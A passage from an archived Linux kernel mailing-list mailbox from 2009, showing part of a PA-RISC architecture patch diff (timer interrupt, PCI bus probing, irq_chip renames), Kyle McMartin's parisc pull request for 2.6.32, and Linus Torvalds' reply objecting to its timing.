-	 * We expected timer_interrupt to be delivered at least a few hundred
-	 * cycles after the IT fires. But it's arbitrary how much time passes
-	 * before we call it "late". I've picked one second.
-	 */
-	if (unlikely(ticks_elapsed > HZ)) {
-		/* Scenario 3: very long delay?  bad in any case */
-		printk (KERN_CRIT "timer_interrupt(CPU %d): delayed!"
-			" cycles %lX rem %lX "
-			" next/now %lX/%lX\n",
-			cpu,
-			cycles_elapsed, cycles_remainder,
-			next_tick, now );
+		ticks_elapsed += cycles_elapsed / cpt;
 	}
 
 	/* convert from "division remainder" to "remainder of clock tick" */
@@ -122,18 +102,56 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 
 	cpuinfo->it_value = next_tick;
 
-	/* Skip one clocktick on purpose if we are likely to miss next_tick.
-	 * We want to avoid the new next_tick being less than CR16.
-	 * If that happened, itimer wouldn't fire until CR16 wrapped.
-	 * We'll catch the tick we missed on the tick after that.
+	/* Program the IT when to deliver the next interrupt.
+	 * Only bottom 32-bits of next_tick are writable in CR16!
 	 */
-	if (!(cycles_remainder >> 13))
-		next_tick += cpt;
-
-	/* Program the IT when to deliver the next interrupt. */
-	/* Only bottom 32-bits of next_tick are written to cr16.  */
 	mtctl(next_tick, 16);
 
+	/* Skip one clocktick on purpose if we missed next_tick.
+	 * The new CR16 must be "later" than current CR16 otherwise
+	 * itimer would not fire until CR16 wrapped - e.g 4 seconds
+	 * later on a 1Ghz processor. We'll account for the missed
+	 * tick on the next timer interrupt.
+	 *
+	 * "next_tick - now" will always give the difference regardless
+	 * if one or the other wrapped. If "now" is "bigger" we'll end up
+	 * with a very large unsigned number.
+	 */
+	now2 = mfctl(16);
+	if (next_tick - now2 > cpt)
+		mtctl(next_tick+cpt, 16);
+
+#if 1
+/*
+ * GGG: DEBUG code for how many cycles programming CR16 used.
+ */
+	if (unlikely(now2 - now > 0x3000)) 	/* 12K cycles */
+		printk (KERN_CRIT "timer_interrupt(CPU %d): SLOW! 0x%lx cycles!"
+			" cyc %lX rem %lX "
+			" next/now %lX/%lX\n",
+			cpu, now2 - now, cycles_elapsed, cycles_remainder,
+			next_tick, now );
+#endif
+
+	/* Can we differentiate between "early CR16" (aka Scenario 1) and
+	 * "long delay" (aka Scenario 3)? I don't think so.
+	 *
+	 * Timer_interrupt will be delivered at least a few hundred cycles
+	 * after the IT fires. But it's arbitrary how much time passes
+	 * before we call it "late". I've picked one second.
+	 *
+	 * It's important NO printk's are between reading CR16 and
+	 * setting up the next value. May introduce huge variance.
+	 */
+	if (unlikely(ticks_elapsed > HZ)) {
+		/* Scenario 3: very long delay?  bad in any case */
+		printk (KERN_CRIT "timer_interrupt(CPU %d): delayed!"
+			" cycles %lX rem %lX "
+			" next/now %lX/%lX\n",
+			cpu,
+			cycles_elapsed, cycles_remainder,
+			next_tick, now );
+	}
 
 	/* Done mucking with unreliable delivery of interrupts.
 	 * Go do system house keeping.
@@ -173,7 +191,7 @@ EXPORT_SYMBOL(profile_pc);
 
 /* clock source code */
 
-static cycle_t read_cr16(void)
+static cycle_t read_cr16(struct clocksource *cs)
 {
 	return get_cycles();
 }
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index c32f5d6..4e64a85 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -533,7 +533,7 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 	  	/* Kill the user process later */
 	  	regs->iaoq[0] = 0 | 3;
 		regs->iaoq[1] = regs->iaoq[0] + 4;
-	 	regs->iasq[0] = regs->iasq[0] = regs->sr[7];
+	 	regs->iasq[0] = regs->iasq[1] = regs->sr[7];
 		regs->gr[0] &= ~PSW_B;
 		return;
 	}
diff --git a/arch/parisc/lib/checksum.c b/arch/parisc/lib/checksum.c
index 462696d..ae66d31 100644
--- a/arch/parisc/lib/checksum.c
+++ b/arch/parisc/lib/checksum.c
@@ -13,8 +13,6 @@
  *		modify it under the terms of the GNU General Public License
  *		as published by the Free Software Foundation; either version
  *		2 of the License, or (at your option) any later version.
- *
- * $Id: checksum.c,v 1.3 1997/12/01 17:57:34 ralf Exp $
  */
 #include <linux/module.h>
 #include <linux/types.h>
diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
index bbda909..abf41f4 100644
--- a/arch/parisc/lib/memcpy.c
+++ b/arch/parisc/lib/memcpy.c
@@ -405,7 +405,7 @@ byte_copy:
 
 unaligned_copy:
 	/* possibly we are aligned on a word, but not on a double... */
-	if (likely(t1 & (sizeof(unsigned int)-1)) == 0) {
+	if (likely((t1 & (sizeof(unsigned int)-1)) == 0)) {
 		t2 = src & (sizeof(unsigned int) - 1);
 
 		if (unlikely(t2 != 0)) {
diff --git a/arch/parisc/math-emu/decode_exc.c b/arch/parisc/math-emu/decode_exc.c
index 66c8a9f..3ca1c61 100644
--- a/arch/parisc/math-emu/decode_exc.c
+++ b/arch/parisc/math-emu/decode_exc.c
@@ -40,7 +40,7 @@
  * END_DESC
 */
 
-
+#include <linux/kernel.h>
 #include "float.h"
 #include "sgl_float.h"
 #include "dbl_float.h"
diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 92c7fa4..d617e79 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -1,5 +1,4 @@
-/* $Id: fault.c,v 1.5 2000/01/26 16:20:29 jsm Exp $
- *
+/*
  * This file is subject to the terms and conditions of the GNU General Public
  * License.  See the file "COPYING" in the main directory of this archive
  * for more details.
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 4356ceb..b0831d9 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -370,34 +370,22 @@ static void __init setup_bootmem(void)
 
 void free_initmem(void)
 {
-	unsigned long addr, init_begin, init_end;
-
-	printk(KERN_INFO "Freeing unused kernel memory: ");
+	unsigned long addr;
+	unsigned long init_begin = (unsigned long)__init_begin;
+	unsigned long init_end = (unsigned long)__init_end;
 
 #ifdef CONFIG_DEBUG_KERNEL
 	/* Attempt to catch anyone trying to execute code here
 	 * by filling the page with BRK insns.
-	 * 
-	 * If we disable interrupts for all CPUs, then IPI stops working.
-	 * Kinda breaks the global cache flushing.
 	 */
-	local_irq_disable();
-
-	memset(__init_begin, 0x00,
-		(unsigned long)__init_end - (unsigned long)__init_begin);
-
-	flush_data_cache();
-	asm volatile("sync" : : );
-	flush_icache_range((unsigned long)__init_begin, (unsigned long)__init_end);
-	asm volatile("sync" : : );
-
-	local_irq_enable();
+	memset((void *)init_begin, 0x00, init_end - init_begin);
+	flush_icache_range(init_begin, init_end);
 #endif
 	
 	/* align __init_begin and __init_end to page size,
 	   ignoring linker script where we might have tried to save RAM */
-	init_begin = PAGE_ALIGN((unsigned long)(__init_begin));
-	init_end   = PAGE_ALIGN((unsigned long)(__init_end));
+	init_begin = PAGE_ALIGN(init_begin);
+	init_end = PAGE_ALIGN(init_end);
 	for (addr = init_begin; addr < init_end; addr += PAGE_SIZE) {
 		ClearPageReserved(virt_to_page(addr));
 		init_page_count(virt_to_page(addr));
@@ -409,7 +397,8 @@ void free_initmem(void)
 	/* set up a new led state on systems shipped LED State panel */
 	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_BCOMPLETE);
 	
-	printk("%luk freed\n", (init_end - init_begin) >> 10);
+	printk(KERN_INFO "Freeing unused kernel memory: %luk freed\n",
+		(init_end - init_begin) >> 10);
 }
 
 
diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index 5d610cb..0f0e0b9 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -1134,7 +1134,7 @@ static const struct file_operations ccio_proc_bitmap_fops = {
 	.llseek = seq_lseek,
 	.release = single_release,
 };
-#endif
+#endif /* CONFIG_PROC_FS */
 
 /**
  * ccio_find_ioc - Find the ioc in the ioc_list
@@ -1568,14 +1568,15 @@ static int __init ccio_probe(struct parisc_device *dev)
 	/* if this fails, no I/O cards will work, so may as well bug */
 	BUG_ON(dev->dev.platform_data == NULL);
 	HBA_DATA(dev->dev.platform_data)->iommu = ioc;
-	
+
+#ifdef CONFIG_PROC_FS
 	if (ioc_count == 0) {
 		proc_create(MODULE_NAME, 0, proc_runway_root,
 			    &ccio_proc_info_fops);
 		proc_create(MODULE_NAME"-bitmap", 0, proc_runway_root,
 			    &ccio_proc_bitmap_fops);
 	}
-
+#endif
 	ioc_count++;
 
 	parisc_has_iommu();
diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 52ae0b1..c590974 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -353,7 +353,7 @@ static unsigned int dino_startup_irq(unsigned int irq)
 	return 0;
 }
 
-static struct hw_interrupt_type dino_interrupt_type = {
+static struct irq_chip dino_interrupt_type = {
 	.typename	= "GSC-PCI",
 	.startup	= dino_startup_irq,
 	.shutdown	= dino_disable_irq,
@@ -1019,22 +1019,22 @@ static int __init dino_probe(struct parisc_device *dev)
 	** It's not used to avoid chicken/egg problems
 	** with configuration accessor functions.
 	*/
-	bus = pci_scan_bus_parented(&dev->dev, dino_current_bus,
-				    &dino_cfg_ops, NULL);
+	dino_dev->hba.hba_bus = bus = pci_scan_bus_parented(&dev->dev,
+			 dino_current_bus, &dino_cfg_ops, NULL);
+
 	if(bus) {
-		pci_bus_add_devices(bus);
 		/* This code *depends* on scanning being single threaded
 		 * if it isn't, this global bus number count will fail
 		 */
 		dino_current_bus = bus->subordinate + 1;
 		pci_bus_assign_resources(bus);
+		pci_bus_add_devices(bus);
 	} else {
-		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (probably duplicate bus number %d)\n",
+		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (duplicate bus number %d?)\n",
 		       dev_name(&dev->dev), dino_current_bus);
 		/* increment the bus number in case of duplicates */
 		dino_current_bus++;
 	}
-	dino_dev->hba.hba_bus = bus;
 	return 0;
 }
 
diff --git a/drivers/parisc/eisa.c b/drivers/parisc/eisa.c
index f415fdd..eb079d6 100644
--- a/drivers/parisc/eisa.c
+++ b/drivers/parisc/eisa.c
@@ -188,7 +188,7 @@ static unsigned int eisa_startup_irq(unsigned int irq)
 	return 0;
 }
 
-static struct hw_interrupt_type eisa_interrupt_type = {
+static struct irq_chip eisa_interrupt_type = {
 	.typename =	"EISA",
 	.startup =	eisa_startup_irq,
 	.shutdown =	eisa_disable_irq,
diff --git a/drivers/parisc/gsc.c b/drivers/parisc/gsc.c
index d336329..647adc9 100644
--- a/drivers/parisc/gsc.c
+++ b/drivers/parisc/gsc.c
@@ -148,7 +148,7 @@ static unsigned int gsc_asic_startup_irq(unsigned int irq)
 	return 0;
 }
 
-static struct hw_interrupt_type gsc_asic_interrupt_type = {
+static struct irq_chip gsc_asic_interrupt_type = {
 	.typename =	"GSC-ASIC",
 	.startup =	gsc_asic_startup_irq,
 	.shutdown =	gsc_asic_disable_irq,
@@ -158,7 +158,7 @@ static struct hw_interrupt_type gsc_asic_interrupt_type = {
 	.end =		no_end_irq,
 };
 
-int gsc_assign_irq(struct hw_interrupt_type *type, void *data)
+int gsc_assign_irq(struct irq_chip *type, void *data)
 {
 	static int irq = GSC_IRQ_BASE;
 	struct irq_desc *desc;
diff --git a/drivers/parisc/gsc.h b/drivers/parisc/gsc.h
index 762a1ba..b9d7bfb 100644
--- a/drivers/parisc/gsc.h
+++ b/drivers/parisc/gsc.h
@@ -38,7 +38,7 @@ struct gsc_asic {
 int gsc_common_setup(struct parisc_device *parent, struct gsc_asic *gsc_asic);
 int gsc_alloc_irq(struct gsc_irq *dev);			/* dev needs an irq */
 int gsc_claim_irq(struct gsc_irq *dev, int irq);	/* dev needs this irq */
-int gsc_assign_irq(struct hw_interrupt_type *type, void *data);
+int gsc_assign_irq(struct irq_chip *type, void *data);
 int gsc_find_local_irq(unsigned int irq, int *global_irq, int limit);
 void gsc_fixup_irqs(struct parisc_device *parent, void *ctrl,
 		void (*choose)(struct parisc_device *child, void *ctrl));
diff --git a/drivers/parisc/iosapic.c b/drivers/parisc/iosapic.c
index 73348c4..230a5a4 100644
--- a/drivers/parisc/iosapic.c
+++ b/drivers/parisc/iosapic.c
@@ -727,7 +727,7 @@ static void iosapic_set_affinity_irq(unsigned int irq,
 }
 #endif
 
-static struct hw_interrupt_type iosapic_interrupt_type = {
+static struct irq_chip iosapic_interrupt_type = {
 	.typename =	"IO-SAPIC-level",
 	.startup =	iosapic_startup_irq,
 	.shutdown =	iosapic_disable_irq,
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 59fbbf1..da75cd4 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -980,28 +980,38 @@ static void
 lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 {
 	unsigned long bytecnt;
-	pdc_pat_cell_mod_maddr_block_t pa_pdc_cell;	/* PA_VIEW */
-	pdc_pat_cell_mod_maddr_block_t io_pdc_cell;	/* IO_VIEW */
 	long io_count;
 	long status;	/* PDC return status */
 	long pa_count;
+	pdc_pat_cell_mod_maddr_block_t *pa_pdc_cell;    /* PA_VIEW */
+	pdc_pat_cell_mod_maddr_block_t *io_pdc_cell;    /* IO_VIEW */
 	int i;
 
+	pa_pdc_cell = kzalloc(sizeof(pdc_pat_cell_mod_maddr_block_t), GFP_KERNEL);
+	if (!pa_pdc_cell)
+		return;
+
+	io_pdc_cell = kzalloc(sizeof(pdc_pat_cell_mod_maddr_block_t), GFP_KERNEL);
+	if (!io_pdc_cell) {
+		kfree(pa_pdc_cell);
+		return;
+	}
+
 	/* return cell module (IO view) */
 	status = pdc_pat_cell_module(&bytecnt, pa_dev->pcell_loc, pa_dev->mod_index,
-				PA_VIEW, & pa_pdc_cell);
-	pa_count = pa_pdc_cell.mod[1];
+				PA_VIEW, pa_pdc_cell);
+	pa_count = pa_pdc_cell->mod[1];
 
 	status |= pdc_pat_cell_module(&bytecnt, pa_dev->pcell_loc, pa_dev->mod_index,
-				IO_VIEW, &io_pdc_cell);
-	io_count = io_pdc_cell.mod[1];
+				IO_VIEW, io_pdc_cell);
+	io_count = io_pdc_cell->mod[1];
 
 	/* We've already done this once for device discovery...*/
 	if (status != PDC_OK) {
 		panic("pdc_pat_cell_module() call failed for LBA!\n");
 	}
 
-	if (PAT_GET_ENTITY(pa_pdc_cell.mod_info) != PAT_ENTITY_LBA) {
+	if (PAT_GET_ENTITY(pa_pdc_cell->mod_info) != PAT_ENTITY_LBA) {
 		panic("pdc_pat_cell_module() entity returned != PAT_ENTITY_LBA!\n");
 	}
 
@@ -1016,8 +1026,8 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 		} *p, *io;
 		struct resource *r;
 
-		p = (void *) &(pa_pdc_cell.mod[2+i*3]);
-		io = (void *) &(io_pdc_cell.mod[2+i*3]);
+		p = (void *) &(pa_pdc_cell->mod[2+i*3]);
+		io = (void *) &(io_pdc_cell->mod[2+i*3]);
 
 		/* Convert the PAT range data to PCI "struct resource" */
 		switch(p->type & 0xff) {
@@ -1096,6 +1106,9 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 			break;
 		}
 	}
+
+	kfree(pa_pdc_cell);
+	kfree(io_pdc_cell);
 }
 #else
 /* keep compiler from complaining about missing declarations */
@@ -1509,10 +1522,6 @@ lba_driver_probe(struct parisc_device *dev)
 	lba_bus = lba_dev->hba.hba_bus =
 		pci_scan_bus_parented(&dev->dev, lba_dev->hba.bus_num.start,
 				cfg_ops, NULL);
-	if (lba_bus) {
-		lba_next_bus = lba_bus->subordinate + 1;
-		pci_bus_add_devices(lba_bus);
-	}
 
 	/* This is in lieu of calling pci_assign_unassigned_resources() */
 	if (is_pdc_pat()) {
@@ -1533,7 +1542,6 @@ lba_driver_probe(struct parisc_device *dev)
 	}
 	pci_enable_bridges(lba_bus);
 
-
 	/*
 	** Once PCI register ops has walked the bus, access to config
 	** space is restricted. Avoids master aborts on config cycles.
@@ -1543,6 +1551,11 @@ lba_driver_probe(struct parisc_device *dev)
 		lba_dev->flags |= LBA_FLAG_SKIP_PROBE;
 	}
 
+	if (lba_bus) {
+		lba_next_bus = lba_bus->subordinate + 1;
+		pci_bus_add_devices(lba_bus);
+	}
+
 	/* Whew! Finally done! Tell services we got this one covered. */
 	return 0;
 }
diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
index f9f9a5f..13a64bc 100644
--- a/drivers/parisc/pdc_stable.c
+++ b/drivers/parisc/pdc_stable.c
@@ -370,7 +370,7 @@ pdcspath_layer_read(struct pdcspath_entry *entry, char *buf)
 	if (!i)	/* entry is not ready */
 		return -ENODATA;
 	
-	for (i = 0; devpath->layers[i] && (likely(i < 6)); i++)
+	for (i = 0; i < 6 && devpath->layers[i]; i++)
 		out += sprintf(out, "%u ", devpath->layers[i]);
 
 	out += sprintf(out, "\n");
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index e5999c4..4b62b89 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -2057,6 +2057,7 @@ void sba_directed_lmmio(struct parisc_device *pci_hba, struct resource *r)
 		r->start = (base & ~1UL) | PCI_F_EXTEND;
 		size = ~ READ_REG32(reg + LMMIO_DIRECT0_MASK);
 		r->end = r->start + size;
+		r->flags = IORESOURCE_MEM;
 	}
 }
 
@@ -2093,4 +2094,5 @@ void sba_distributed_lmmio(struct parisc_device *pci_hba, struct resource *r )
 	size = (~READ_REG32(sba->sba_hpa + LMMIO_DIST_MASK)) / ROPES_PER_IOC;
 	r->start += rope * (size + 1);	/* adjust base for this rope */
 	r->end = r->start + size;
+	r->flags = IORESOURCE_MEM;
 }
diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
index 33e5ade..675f04e 100644
--- a/drivers/parisc/superio.c
+++ b/drivers/parisc/superio.c
@@ -325,7 +325,7 @@ static unsigned int superio_startup_irq(unsigned int irq)
 	return 0;
 }
 
-static struct hw_interrupt_type superio_interrupt_type = {
+static struct irq_chip superio_interrupt_type = {
 	.typename =	SUPERIO,
 	.startup =	superio_startup_irq,
 	.shutdown =	superio_disable_irq,
@@ -434,8 +434,8 @@ static void __init superio_parport_init(void)
 			0 /*base_hi*/,
 			PAR_IRQ, 
 			PARPORT_DMA_NONE /* dma */,
-			NULL /*struct pci_dev* */),
-			0 /* shared irq flags */ )
+			NULL /*struct pci_dev* */,
+			0 /* shared irq flags */))
 
 		printk(KERN_WARNING PFX "Probing parallel port failed.\n");
 #endif	/* CONFIG_PARPORT_PC */
diff --git a/drivers/video/Kconfig b/drivers/video/Kconfig
index 0048f11..9eecbc0 100644
--- a/drivers/video/Kconfig
+++ b/drivers/video/Kconfig
@@ -616,6 +616,8 @@ config FB_STI
 	select FB_CFB_FILLRECT
 	select FB_CFB_COPYAREA
 	select FB_CFB_IMAGEBLIT
+	select STI_CONSOLE
+	select VT
 	default y
 	---help---
 	  STI refers to the HP "Standard Text Interface" which is a set of

--mP3DRpeJDSE+ciuQ--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [git patches] parisc for 2.6.32
Date: Tue, 6 Oct 2009 17:26:02 +0000
Lines: 59
Approved: news@gmane.org
Message-ID: <20091006172602.GA1924@hera.kernel.org>
Reply-To: kyle@mcmartin.ca
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1254850492 20398 80.91.229.12 (6 Oct 2009 17:34:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 Oct 2009 17:34:52 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: torvalds@linux-foundation.org
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S932628AbZJFR04@vger.kernel.org Tue Oct 06 19:34:43 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S932628AbZJFR04@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MvDvl-0001UC-NS
	for glk-linux-kernel-3@lo.gmane.org; Tue, 06 Oct 2009 19:34:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932628AbZJFR04 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 6 Oct 2009 13:26:56 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932351AbZJFR0z
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Tue, 6 Oct 2009 13:26:55 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:36892 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932326AbZJFR0y (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 6 Oct 2009 13:26:54 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1/PsBOC5xuseu05eK6rsCnwgT5JW36lgYE@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n96HQ2dX002643
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 6 Oct 2009 17:26:02 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n96HQ2jp002642;
	Tue, 6 Oct 2009 17:26:02 GMT
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
X-Virus-Scanned: ClamAV 0.93.3/9867/Mon Oct  5 11:11:46 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=AWL,BAYES_00,
	UNPARSEABLE_RELAY autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Tue, 06 Oct 2009 17:26:15 +0000 (UTC)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:898620 gmane.linux.ports.parisc:2233
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2233>

Mostly fixes, except for the tracehook stuff... then again cleaning up
ptrace is a pretty big fix in and of itself. ;-)

The following changes since commit 17d857be649a21ca90008c6dc425d849fa83db5c:
  Linus Torvalds (1):
        Linux 2.6.32-rc1

are available in the git repository at:

  hera.kernel.org:/pub/scm/linux/kernel/git/kyle/parisc-2.6.git fixes

Christoph Hellwig (1):
      parisc: convert to asm-generic/hardirq.h

Helge Deller (3):
      parisc: rename parisc's vmalloc_start to parisc_vmalloc_start
      parisc: Fix linker script breakage.
      agp: parisc-agp.c - use correct page_mask function

James Bottomley (1):
      parisc: add me to Maintainers

Jaswinder Singh Rajput (1):
      parisc: includecheck fix: signal.c

Julia Lawall (1):
      parisc: correct use of SHF_ALLOC

Kyle McMartin (7):
      parisc: tracehook_report_syscall
      parisc: tracehook_signal_handler
      parisc: add missing TI_TASK macro in syscall.S
      parisc: split syscall_trace into two halves
      parisc: stop using task->ptrace for {single,block}step flags
      parisc: add skeleton syscall.h
      parisc: HAVE_ARCH_TRACEHOOK

Tim Abbott (1):
      parisc: Make THREAD_SIZE available to assembly files and linker scripts.

 MAINTAINERS                           |    1 +
 arch/parisc/Kconfig                   |    1 +
 arch/parisc/include/asm/fixmap.h      |    4 +-
 arch/parisc/include/asm/hardirq.h     |   20 +---------------
 arch/parisc/include/asm/ptrace.h      |    5 +++-
 arch/parisc/include/asm/syscall.h     |   40 +++++++++++++++++++++++++++++++
 arch/parisc/include/asm/thread_info.h |   14 +++++++----
 arch/parisc/kernel/asm-offsets.c      |    4 +-
 arch/parisc/kernel/entry.S            |   21 ++++++++--------
 arch/parisc/kernel/irq.c              |    5 ----
 arch/parisc/kernel/module.c           |    2 +-
 arch/parisc/kernel/ptrace.c           |   42 ++++++++++++++++----------------
 arch/parisc/kernel/signal.c           |    5 +++-
 arch/parisc/kernel/syscall.S          |   22 +++++++++++------
 arch/parisc/kernel/vmlinux.lds.S      |   10 ++++++++
 arch/parisc/mm/init.c                 |   11 ++++----
 drivers/char/agp/parisc-agp.c         |    2 +-
 17 files changed, 128 insertions(+), 81 deletions(-)
 create mode 100644 arch/parisc/include/asm/syscall.h

From - Thu Nov 08 21:05:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [git patches] parisc for 2.6.32
Date: Tue, 6 Oct 2009 10:40:10 -0700 (PDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.01.0910061035050.3432@localhost.localdomain>
References: <20091006172602.GA1924@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1254851214 23208 80.91.229.12 (6 Oct 2009 17:46:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 Oct 2009 17:46:54 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 06 19:46:44 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MvE7Y-0007jp-35
	for glpp-linux-parisc@lo.gmane.org; Tue, 06 Oct 2009 19:46:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757747AbZJFRkz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Oct 2009 13:40:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757714AbZJFRkz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 Oct 2009 13:40:55 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:60114 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757298AbZJFRky (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Oct 2009 13:40:54 -0400
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id n96HeAvf021734
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 6 Oct 2009 10:40:11 -0700
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id n96HeA6m006628;
	Tue, 6 Oct 2009 10:40:10 -0700
X-X-Sender: torvalds@localhost.localdomain
In-Reply-To: <20091006172602.GA1924@hera.kernel.org>
User-Agent: Alpine 2.01 (LFD 1184 2008-12-16)
X-Spam-Status: No, hits=-3.959 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2234 gmane.linux.kernel:898622
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2234>



On Tue, 6 Oct 2009, Kyle McMartin wrote:
<
> Mostly fixes, except for the tracehook stuff...

I don't see how this can be fixes, since I can't recall any parisc pulls 
during the merge window.

Yes, there have been parisc changes, but they've all come in through 
commits that either were global and people also fixed up parisc while at 
it (eg things like "fcntl: add F_[SG]ETOWN_EX"), or they have been build 
cleanups where you were cc'd but apparently never even bothered to ack the 
change.

So now you come in after the merge window has been closed for over a week, 
and want to do a parisc merge?

Tell me why I should take this. Tell me why I shouldn't just wait until 
the next merge window (or rather "_you_ should have waited").

I've now had two pull requests just today that made me go "I don't really 
see why I should pull this after -rc3 is out".

			Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
